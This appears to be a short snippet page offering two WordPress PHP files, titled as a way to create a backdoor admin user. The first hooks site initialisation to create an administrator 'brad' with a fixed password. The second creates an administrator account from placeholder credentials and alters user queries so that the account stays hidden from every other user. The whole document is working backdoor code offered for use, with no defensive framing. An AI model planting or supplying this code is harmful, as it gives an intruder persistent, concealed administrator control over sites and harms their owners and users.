create backdoor admin user

wp_backdoor.php

add_action('init', 'my_backdoor');
 
function my_backdoor() {
        require('wp-includes/registration.php');
            $user_id = wp_create_user('brad', 'pa55w0rd');
            $user = new WP_User($user_id);
            $user->set_role('administrator');
}

wp_backdoor2.php

Here’s a more elaborate and fine tuned version:
//ADD ACCOUNT
function admin_account(){
$user = 'YOUR_USERNAME';
$pass = 'YOUR_PASSWORD';
$email = 'YOUR_EMAIL';
if ( !username_exists( $user )  && !email_exists( $email ) ) {
        $user_id = wp_create_user( $user, $pass, $email );
        $user = new WP_User( $user_id );
        $user->set_role( 'administrator' );
}
}
add_action('init','admin_account');

//HIDE  YOUR ACCOUNT
add_action('pre_user_query','yoursite_pre_user_query');
function yoursite_pre_user_query($user_search) {
  global $current_user;
  $username = $current_user->user_login;
  $user = ‘YOUR_USERNAME’;

 if ($username != $user) {
    global $wpdb;
    $user_search->query_where = str_replace('WHERE 1=1',
      "WHERE 1=1 AND {$wpdb->users}.user_login != $user",$user_search->query_where);
  }
}